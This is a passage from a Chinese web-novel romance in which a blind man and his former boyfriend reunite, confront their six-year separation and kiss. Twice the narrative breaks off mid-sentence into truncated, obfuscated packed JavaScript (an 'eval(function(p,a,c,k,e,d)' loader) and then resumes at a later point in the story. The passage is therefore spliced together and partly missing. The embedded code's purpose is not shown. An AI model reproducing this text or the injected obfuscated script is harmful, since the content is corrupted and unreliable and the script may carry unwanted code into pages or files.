陶与乐忍不住弯了弯眼睛,虽然看不见猫的样子,脸上却因为它的亲近露出了很柔和的表情。 戚驰舟看见陶与乐脸上的笑,又听见猫崽子在他怀里发出呼噜噜的声音,再次觉得自己的牙根有点发痒,然后直接开口打断了这种氛围:“现在时间也不早了。” “——既然你说要请我吃饭,那就去你家吧。” 陶与乐蓦地一顿,转头望向戚驰舟的方向。 注意到这个细节,戚驰舟淡声问:“怎么了,不行?” 他瞥了还窝在陶与乐怀里的猫崽子一眼,没什么表情地陈述:“现在我们带着猫,想临时找到一家既能让它进去,私密性又强的餐厅恐怕没那么容易。” “或者,你要是不同意的话那今天就先算——” 他的“了”字还没说完,之前还有点犹豫的陶与乐马上摇头,有些着急道:“我没有不同意,就去我家。” “我......”陶与乐说:“我可以煮面给你吃,或者点你想吃的外卖。” “......” 戚驰舟盯着陶与乐看了一会儿,确认他是真心邀请之后,才哼了一声,觉得这还差不太多。 陶与乐说出自己的住址以后,戚驰舟很快发动汽车,汇入一众车流当中。 但事实上,为了尽可能满足日常上下班的需求,陶与乐住的小区离心理咨询中心很近,平时走路都只需要十几分钟,现在开车只花了不到五分钟时间,就再次停了下来。 两个人一起下车,陶与乐一只手抱着猫,另一只手拿盲杖,重新戴上帽子口罩的戚驰舟则去后备箱里搬东西。 然后他们一起进电梯,又一起上楼。 在这不到两百米的路程中,因为他们离得很近,陶与乐再一次闻到戚驰舟身上那种干净又凛冽的熟悉气味,突然产生了一种错觉——好像他曾经独自一人无数次在黑暗中走过这条路的记忆都是假的,戚驰舟这六年来一直都在他身边。他的眼睛看不见了,戚驰舟就很熟练地把手伸出来当他的盲杖,很耐心地给他指路。 这种感觉令陶与乐整个人都有些恍惚。 一直到电梯门“叮”地一声打开,错觉消失,他陡然清醒过来之后,呼吸不自觉顿了半秒,心脏也被一种难以言喻的情绪填满,又酸又涩,胀得生疼。 注意到陶与乐的异常,戚驰舟皱了皱眉,问他:“怎么了?” “没什么。”很快反应过来的陶与乐把拴着牵引绳的猫放在地上,摸索着用指纹解锁开门。 只不过当门锁发出转动解锁的声音,他抓着门把手,朝向戚驰舟的方向,还是稍微犹豫了一下:“我这里没有你那里那么大......” 戚驰舟看着他的脸上没有任何表情,说:“我以前住你家的时候你怎么不说这个?” 因为在国外念书,六年前,戚驰舟跟陶与乐在一起后不到两天,就登上飞机,被迫重新回到了温哥华。 他很不情愿,也不太舍得,但当时脸上没表现出任何情绪。 陶与乐更加是个傻子,明明想他想得睡不着觉,宁愿每天忍着时差,在视频里如饥似渴地看他,也从来没对他提出过任何要求,好像完全没想过在他们之间的关系发生转变之后,他其实可以在戚驰舟这里享受到更多特权。 没办法。男朋友太乖也太懂事,戚驰舟只好找机会自己回来。 趁戚远山去伯明翰开会的时间,戚驰舟跟学校请好了假,简单收拾完行李,就坐上了回国的飞机。 那次,他也没告诉外公外婆,就带着一身寒意跟风尘仆仆,站在了陶与乐的面前。 戚驰舟到现在都还记得陶与乐当时先是怔愣,然后眼睛瞬间亮起,用最快速度朝他飞奔过来,不停傻笑的样子。 他自己还是一如既往的成熟稳重,只稍微翘了一点嘴角,在很克制地伸手轻轻碰了碰陶与乐的脸颊之后问他:“现在我没地方住了,这几天要不要邀请我睡在你家?” 陶与乐跟爷爷的房子,自然没有戚驰舟外公外婆家那栋别墅宽敞,陶与乐的房间更没有戚驰舟房间的三分之一大。 但那几天,陶与乐没担心他会不会住不习惯,做惯了大少爷的戚驰舟也没挑剔任何。他们在沙发上,在洗手间,在书桌前,在床上......在很多地方拥抱,接吻,交换彼此的呼吸与心跳。 都是第一次恋爱。 少年人在意乱情迷时基本没有任何的自制力可言,饶是戚驰舟认为自己定力绝佳,都扛不住那种情不自禁的冲动与躁动。 然而,就在他们忍不住互相探索,尝试去做比接吻更进一步深入的事时,“啪”地一声,不知道是哪里的电路出现故障,整个小区的电全都停了。 当时陶与乐正躺在沙发上面,连呼吸都在打颤,露出来的皮肤在黑暗中更是白到晃眼。 戚驰舟喉结滚了一下,逼着自己移开视线,才勉强从沉浸的欲望中清醒过来。 因为没有东西,没有经验,也因为戚驰舟在国内待不了多久又要离开,因为各种各样的原因,总之,哪怕陶与乐当时很想,也表示自己不怕,戚驰舟也还是没做到最后。 现在重新回忆起来,戚驰舟黑着脸想:早知道...... 算了。 好像也没有什么早知道。 就算时光真的倒流,让他再回到那天,戚驰舟也还是不会做到最后。 他能想到的事,陶与乐自然也能想到。 那些青涩又炽热的亲吻,克制又难耐的接触......哪怕已经过去很长时间,哪怕他现在面对戚驰舟时已经变得僵硬滞涩,可那些记忆、温度、触感,就好像被扣上的盒子,只要卡扣一打开,盒子里的东西就全冒出来。 连带着悸动、羞耻、酸涩、躁动等无数种情绪一起,进入心脏,渗入身体,令陶与乐心绪不平,耳根发烫。 只不过陶与乐站在门口犹豫着要不要请戚驰舟进来,其实还有些别的原因。他抿了抿唇,用最快速度回忆了一下,觉得那些东西他应该都有好好地收起来,才稍微放下心来,伸手把门拉开。 戚驰舟不知道陶与乐心里藏着什么顾虑,他跟在陶与乐身后进门,看他开灯,然后将视线投向这个完全陌生的房子。 只有一居室的开间,四五十平米的大小,简单环视一圈也就看差不多了。 显然,这个面积的房子只适合一个人住,家居装饰也非常简单。 戚驰舟还发现,房子里桌角或柜门的尖锐出全部贴有防撞条避免磕碰,东西也放置的非常整齐,像有强迫症一样分别门类,再联想到他之前在资料上看过的科普内容,料想这是陶与乐在眼睛看不见了之后,为了拿取方便养成的收纳习惯。 而这会儿,突然来到陌生环境的猫已经迅速从玄关跑到餐桌底下,开始熟悉自己的新家了。 戚驰舟收回目光,望向陶与乐问:“租的?” 陶与乐“嗯”了一声,但是在点头之后马上又说:“不过我一直都有在攒钱,过不了多久应该就可以付首付买一套大的。” 戚驰舟看着他:“买套大的做什么?” “......”陶与乐又不说话了。 但戚驰舟此刻的心情不错,并没有跟他计较。 就连陶与乐打开鞋柜,后知后觉地发现家里只有一双拖鞋,还不合戚驰舟的码数也只是轻轻哼了一声,让陶与乐不用麻烦,他可以直接穿袜子踩在地上。 虽然是第一次来,但戚驰舟显然没有任何当客人的自觉,先是到处扫了一眼,找到挂在墙上的剪刀,把带过来的纸箱拆开,然后找到不影响陶与乐日常走动的位置,把猫食盆、猫砂盆之类的东西放好。 全部都搞完了才像刚想起来似的,装模作样地问陶与乐:“从今天开始就把它交给你了,应该没问题吧?” 陶与乐当然不会有任何问题。 只是他始终记得戚驰舟刚才在车上说过的话,一边是满心茫然与不解的情绪,一边是隐约认为这件事应该非常重要的预感,于是朝着戚驰舟的方向:“你还没告诉我,我的猫是什么意思?” 戚驰舟手上的动作一顿,垂眸看着陶与乐,说:“字面意思。” 字面意思是什么意思? 陶与乐微微睁大眼睛,心跳在不自觉中变快,下意识喊了一声戚驰舟的名字。 戚驰舟“嗯”了一声,过了半分钟以后问他:“你还记不记得我们之前说好的事?” 陶与乐那双漂亮却无神的眼眸瞬间颤了一下,立刻顺着戚驰舟的话回忆起来—— 那时候他爷爷去世,他跟戚驰舟确认关系,两人在某次亲吻后讨论将来。 陶与乐告诉戚驰舟,他已经偷偷查过自己心仪的大学与温哥华地区大学的合作项目,也计算过在温哥华留学的各项开支,他一定会努力学习,争取在大学后参与学校的2+2转学分项目,去到戚驰舟的身边。 戚驰舟却皱起眉头:“那岂不是还要再等两年?” 但陶与乐当时也没有其他更好的办法,刚想凑过去安抚他,就听见戚驰舟不满道:“还不如你等我回来。” 戚驰舟说,与其让陶与乐费尽周折去到一个完全陌生的城市,完全陌生的国家,还不如他回国内来念大学,这样更简单高效。 陶与乐从未想过这种可能,不由得睁大眼睛,问戚驰舟这样好吗,可行吗,戚董事长会同意吗? 戚驰舟则瞥他一眼,轻描淡写道:“有时间操心这种问题,不如考虑我们上大学以后要不要住在一起。” 陶与乐总是无条件相信戚驰舟说的任何话,确认他真的决定高中毕业回国以后高兴疯了,拉着戚驰舟喋喋不休,乱七八糟说了很多关于未来的规划。 比如,他们尽量考同一所大学,就算考不到,也要一定要在一个城市。 对此,戚驰舟很嫌弃道:“那不然呢?” 比如,他们可以在两所学校中间,附近有地铁站的地方找套房子,一人出一半租金。 对此,戚驰舟冷哼一声:“找房子当然可以,但一人一半房租......陶与乐你是想跟我合租?” 虽然当时夜很深了,戚驰舟也很困了,但陶与乐说一句,戚驰舟就回一句,他们关于未来的蓝图也在这个过程中逐渐清晰。 要有一个采光很好的房子,交通便捷,毗邻商圈,客厅里要铺厚厚的地毯,卧室里要买很大很软的床,要用百分百遮光的厚实窗帘,要订做一个很高的玻璃展 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他根本无法想象戚驰舟当时正在给他准备惊喜,却被他强行推开的心情,更无法想象这六年来,戚驰舟一直将这只猫养在身边究竟是什么感受。 “我......”陶与乐说:“对不起,我......” “你确实应该说对不起,我也还没原谅你。” 戚驰舟到现在都记得,到了约定时间,猫舍老板发微信通知他可以过来接猫,并支付尾款,而他因为生气,一度准备直接把猫退了,之前预付的一半定金也不要了。 可对话框里字打了长长一串,最终还是全部删掉,换成一个简短的好字。 猫舍老板知道他选猫是为了送人,看到他来以后还特地往他身后看了一眼,好奇道:“你女朋友没跟着一起来吗?” “......”戚驰舟当时没有说话。 猫舍另外一个员工看他脸色不对,连忙拽自己老板袖子,老板反应过来,连忙道:“哦哦哦......没事没事,要不我们先看看猫?” 这么多年。 戚驰舟真的有无数次恶狠狠地想着,等再次见到陶与乐一定要给他一个教训,最好是直接把他掐死...... 没想到陶与乐当初说分手的原因,是因为他眼睛看不见了。 生气、心疼、后悔、庆幸、恍惚......各种各样的情绪堵在胸口,戚驰舟闭了闭眼,准备再次开口的时候,却听到嗡嗡嗡震动的声音,拿出手机一看,发现是伍月的电话。 今天杂志封面拍完以后,她没有跟戚驰舟一起离开,而是去参加了杂志社主编组的饭局。 不知道这会儿她为什么会打电话,戚驰舟看了陶与乐一眼,还是走到旁边去接起电话:“喂。” “刚刚吃饭聊到后天的品牌活动,我突然想起件事,”伍月在电话那头压低了声音道:“这次活动夏熠也会参加,到时候肯定有媒体和营销号会借题发挥,也不排除他再找你搞什么乱七八糟的幺蛾子,所以我必须提前提醒你一句,不要给自己惹麻烦,也不要再自降身价......” “......”戚驰舟默默听完了她的教导,在她说完以后“嗯”了一声,示意自己知道了,又问她还有别的事吗? 听伍月说没了,叮嘱她少喝点酒,然后才挂断电话。 然而刚把手机给收起来,还没来得及转身,震动声再次响起,伍月继续说:“还有件事,是关于新年晚会录制的......” 戚驰舟:“......” 老实说,连着两个工作电话打完,就算他有再多的情绪,再多的话,一时间也全都被搅和没了。 静了片刻,戚驰舟按下锁屏,准备回去跟陶与乐说点什么,手机却在短时间内第三次震动起来。 他深吸口气,只觉得额角青筋直跳,忍无可忍准备问伍月有什么话能不能一次性说完,拿起手机,却看到屏幕上跳动着陶与乐的名字。 戚驰舟一怔,转头望向陶与乐。 只见陶与乐还站在之前的位置,眼睛红得要命,像下一秒就要落泪。或者表述得更准确一点,他眼睛里分明已经蓄满了水光,只是盈在眼眶里,强忍着不让它掉下来。 而手机还在他手中震动。 戚驰舟停顿两秒,接起来“喂”了一声。 陶与乐用很低也很哑的声音,对着手机说:“对不起。” 戚驰舟沉默不语。 陶与乐就对着手机又说了一遍:“戚驰舟,对不起......” 戚驰舟站在他面前,忍不住心道:对不起有什么用?说对不起有用的话那还要警察干嘛? 可对上陶与乐那双眼睛,戚驰舟在静了许久后,却只听见自己说:“我不想听对不起。” 陶与乐攥着手机的指骨再次用力,脑子里全是戚驰舟刚才说过的话,心脏闷疼,比之前感受更深的心疼,后悔几乎将他整个人完全淹没,有无数句话堵在喉口,却无论如何都说不出来。 到最后他也只是仰起头,艰难地将对不起这三个字换成别的,说:“我好想你,戚驰舟,我好想你......” 这一次戚驰舟胸口起伏,深深呼吸。在挂断电话以后,毫不犹豫拽着陶与乐的胳膊,低头重重吻了下去。 16.提问 戚驰舟的吻从来没有这么重过。 六年前,哪怕再迫切再躁动的时候,他骨子里都是温柔的,克制的,知道底线在哪儿,知道自己在做什么。 可现如今,时隔六年,重新将陶与乐拽进怀里,抓着他的手腕,带着满腔的怒意,酸涩,心疼,想念……还有根本不知道究竟是应该责怪命运还是感谢命运的复杂情绪,一边用身体将人抵在墙上,一边长驱直入用舌尖撬开牙齿,吻得又深又重。 某个瞬间,他恨不得直接把陶与乐整个人都嚼碎了吞到肚子里去,用这种方式将他们俩融为一体,或许胸口那个破了六年的大洞就能补足,心脏就不会像现在这样,被揪着刺痛闷疼。 刚才陶与乐说想他的时候,戚驰舟有些咬牙切齿地想—— 既然想我,为什么等到现在才说? 是有谁不让你想吗? 谁他妈不让你想了?! 而陶与乐则在戚驰舟亲上来的那一瞬间,就再也无法思考,大脑一片空白,几乎是下意识仰起头回应,在眼眶里蓄了很久的眼泪也在同一刻掉落下来。 太久没接吻了。 他觉得自己脚底发软,身体每一根神经都酸涩饱胀,但因为戚驰舟有一只手始终垫在他的身后,所以他没觉得慌,也没觉得怕,只是连怎么正常呼吸都忘了,全部感官都被戚驰舟所调动,也只能感受到戚驰舟亲吻他的动作,体温与力度。 两根湿热的舌头在一起纠缠不清,再加上这个阔别已久的吻实在过于强势,陶与乐很快就有些缺氧,近乎本能地开始喘息,同时张大嘴唇,想获得更多赖以生存的氧气。 然而戚驰舟却不同意。 他寸步不让地捏着陶与乐的后颈,将这个吻不断加深,用很大的力气吮.吸,用很重的方式掠夺。 两个人早在十几岁时就吻过成千上万遍,彼此都是对方的启蒙,因此戚驰舟当然知道陶与乐口腔里每一个敏感点,于是他用舌头逼着,搅着,磨着,让陶与乐在缺氧的过程中,发出断断续续的呻.吟与呜咽,甚至因为无法及时进行吞咽,唾液都顺着唇角溢出来。 进了门以后就一直躲在角落的猫听见动静,从沙发后面探出头来,看到这两个人类的身体紧紧贴在一起,一个人表情凶狠,一个人眼尾泛红,但深重密切的吻却自始自终都没停过,嘴唇始终都湿热黏腻地粘在一起。 不知道这个带有浓郁血腥气的吻究竟持续了多长时间,直到“叮”地一声,外面传来电梯的开门声,一男一女走出来。 “天天加班我都快受不了了......” “看在年终奖的份上......” “......我不管,这个周末必须要大吃一顿。” “好啊,那你想吃什么......” 当他们对话的声音由远到近,从模糊到清晰,陶与乐这才回过神来,强迫自己将喉间将溢未溢的动静给收起来,继而后知后觉地感觉到他嘴唇好像被戚驰舟给咬破了,舌根也被吸得发麻,心跳快到几乎要冲破胸膛,浑身上下都是热的,软的。 戚驰舟也意识到陶与乐住的这个小区墙壁很薄,隔音效果不好,以及要是再这么肆无忌惮地亲下去,极有可能会擦枪走火,做出一些操之过急的事。 于是,在听见外面那两个人拿钥匙开门,又关门的声音之后,他终于停下动作。 但仍然保持着极近的距离,用极具压迫感的架势,捏着陶与乐的下巴低声问:“当初是怎么发现眼睛出问题的?” 陶与乐仍然止不住地喘息,受到的刺激太大,导致久久不能平静,过了一会儿才哑着嗓子回答:“那时候……我突然发现视力有点模糊。” 即使戚驰舟跟他说过想回国上大学的想法,陶与乐还是没有松懈,反而更加努力,那段时间,他几乎每天晚上做题都做到两点。 最开始发现视力模糊,还以为是用眼过度。 可蓝莓吃了,叶黄素片吃了,刷题的时间也控制了,接下来却陆续又出现颜色对比度下降,夜盲,飞蚊症等异常情况。 最可怕的是某天晚上,陶与乐下晚自习回家,在上楼梯时突然就看不见了。当时他还以为是楼道里的声控灯坏了,在一片漆黑的情况下先撞到墙,又一脚踩空摔倒,等被下楼扔垃圾的邻居着急忙慌扶起来才恢复视觉——而他也在周围亮起来变清晰的那一刻忽然间意识到,似乎不是灯坏了,而是他眼睛坏了。 铺天盖地的恐惧席卷而来,陶与乐大脑一片空白,不知道该做出什么反应,也不知道该怎么办。 “自己都还没消化,就想好了要瞒着我?”戚驰舟收拢了握在陶与乐下巴上的力道,“出了这么大的问题,陶管家又去世了,你一个人不觉得害怕?” 两个人刚刚才接过吻,陶与乐的唇齿,呼吸全部都是戚驰舟的味道,哪怕看不到他的表情,依然觉得无比心安。 只是戚驰舟的问题实在是很难回答,他偏过头去深吸口气,想缓一缓,戚驰舟却动作强硬地将他的脸重新给掰回来,眼睛一错不错地盯着他:“说话啊。” “陶与乐,你的胆子什么时候变这么大了?” 被逼问到实在没有办法,陶与乐眼前一片漆黑,却闻到戚驰舟身上的气味,他被一种迟来的,汹涌的情绪包围,终于忍不住点了点头,两眼模糊着说:“害怕,我当时特别害怕......我怕得整晚整晚都睡不着觉......” 却还要装得像很正常,正常去学校上课,正常跟戚驰舟说话。 总算是听见了一句真话,可看见陶与乐的眼泪,戚驰舟觉得自己的心像被无数根针给扎穿了。 他早就知道陶与乐是个天生的矛盾结合体,平时看起来乖乖巧巧,但遇到有人找茬时敢冲出来挡在他前面,陶管家去世伤心成那样,还是能稳住情绪,独自把后事料理清楚。 戚驰舟一直都知道,陶与乐骨子里比很多人都要坚强。 所以,他根本无法想象那种场景,不知道陶与乐真正害怕起来是什么样子,会不会哭?在什么地方哭?又哭了多少次? “害怕为什么不告诉我?我不是你男朋友吗?”戚驰舟下颌绷紧成一条线,手往下拢住陶与乐的脖子继续说:“害怕为什么不回来找我?这么多年,是不是我不发现,你就永远不会再出现在我面前?” 陶与乐眼底一片通红,下意识摇头,又下意识抓住戚驰舟的胳膊,抓得很紧很紧,不知道该说什么。 “陶与乐,你知不知道我以前是怎么想的?”戚驰舟在偏过头深呼吸口气后平静下来,一边用指腹揩去陶与乐眼角流出来的泪水,一边面无表情看着他说:“我很生气,气到恨不得想掐死你,后来又觉得没必要,凭什么?” 陶与乐张了一下嘴唇,将视线定格在虚空中的某个点上,他知道戚驰舟站在那里。 “所有人都知道反应越大,就说明心里越放不下,”戚驰舟说:“我觉得既然是你先提的分手,那我凭什么要放不下?” “地球是圆的,这个世界也就这么大,我还曾经向自己发誓,要是有一天我们偶然间在某个地方不小心撞见了,就算你主动喊我名字,我都不会多看你一眼,不跟你说话,不搭理你,装作我从来都不认识你。” “你......”陶与乐的声音有点哑,想说对不起,又想起戚驰舟说过他不想听这三个字,只能偏过头去,喉咙隐忍滑动。 近距离看着陶与乐的反应,戚驰舟忍不住嗤笑一声,轻轻吐了口气,说:“但是我根本就没做到,是不是?” “原本想着在咨询室不说话装不认识你,结果只装了一天就装不下去,在大街上看到你有危险,顾不得思考就冲出去......” 听到这些,陶与乐肩膀不住颤抖,抓着戚驰舟的力气一下又重了很多,心疼得无以复加,而且因为情绪失控,抓得戚驰舟甚至都有点疼。 但戚驰舟没表现出来,也没阻止,只是动作强硬地把陶与乐的脸掰正了抬起来:“上次你摸我的脸,我问你我长变了没有,你说没有。” “陶与乐,我现在是什么样子,六年前就是什么样子。”一想到他们错过的那些时间,戚驰舟就还是生气,还是窝火,还是控制不住后怕,咬着后槽牙一字一顿道:“那时候你的眼睛还是好的,这么浅显易懂的事,你为什么没看出来?” “我看出来了,我知道......”陶与乐的眼泪崩溃般蜿蜒而下,紧紧地抱住戚驰舟,将脸埋在他肩膀上说:“我一直都知道你有多好,一直都知道。” 虽然戚驰舟最开始表现的骄傲,冷漠,又不爱理人,但陶与乐很快就发现,这个爷爷在家经常提起的大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“第一,再发生什么不好的事,你还会推开我,躲起来让我找不到吗?”戚驰舟要陶与乐一个承诺,要他承诺这辈子再也不会消失。 陶与乐闭了一下眼睛,摇头,哑声说不:“我会抓住你,会拽着你,会一直一直赖着你。”直到戚驰舟不再喜欢他,不再需要他的那一天。 戚驰舟紧紧盯着他,像是在判断这句话的真假,半晌后才说:“好,那第二个问题。” “我还没彻底原谅你,有信心继续追求我吗?”他不要现在这个僵硬滞涩的陶与乐,要像从前一样积极主动,胆大包天,会不断为自己争取的陶与乐。 陶与乐用力抓着戚驰舟的衣服,使劲点头,毫不犹豫地说:“有,我当然有。” “第三个问题,”在陶与乐脸上看到熟悉的神色,听到他像十七八岁要考全班第一名似的表态,戚驰舟终于放缓了一点语气,停顿片刻,垂眸看着他突然转折道:“——现在还要再接一次吻吗?” 这个问题毋庸置疑。 天知道陶与乐有多么想念跟戚驰舟的亲密接触。 于是,当他连一秒钟都不到,就不假思索地给出肯定答案,戚驰舟便握着他的手腕,再一次亲吻了他。 这个吻比之前明显少了些粗暴与急躁,但却更深入,更粘稠,引得刚刚两个互相剖白,经历过情绪大起大伏的人都彻底沉浸其中,不自觉生出更多欲望与渴求。 一时间似乎连时间都变静止,只有他们唇齿纠缠的暧昧水声。 因为眼睛看不到的缘故,陶与乐其他感官反而被黑暗无限放大,他在感受到巨大刺激,被吻到脊背发麻的同时,也感受到戚驰舟的身体变化。 陶与乐喘息一声,在接吻的间隙,忍着羞耻仰起头,沙哑着嗓子问他:“戚驰舟,我也有一个问题——” “什么问题?” 陶与乐说:“你要不要——” “不要。”敏锐地察觉到陶与乐想做什么,戚驰舟的喉结虽然滚动了一下,但还是毫不犹豫拒绝了他。 盯着陶与乐在亲吻的过程中露出痴迷又沉溺的表情,戚驰舟铁石心肠地按住他意图往下的手,非常冷酷地告诉他:“你要好好表现,我才会考虑要不要给你更多。” 但是担心自己这样会不会显得太不近人情,过了一会儿又沉着脸说“我明天上午十点的飞机”,和“你最好不要撩我。”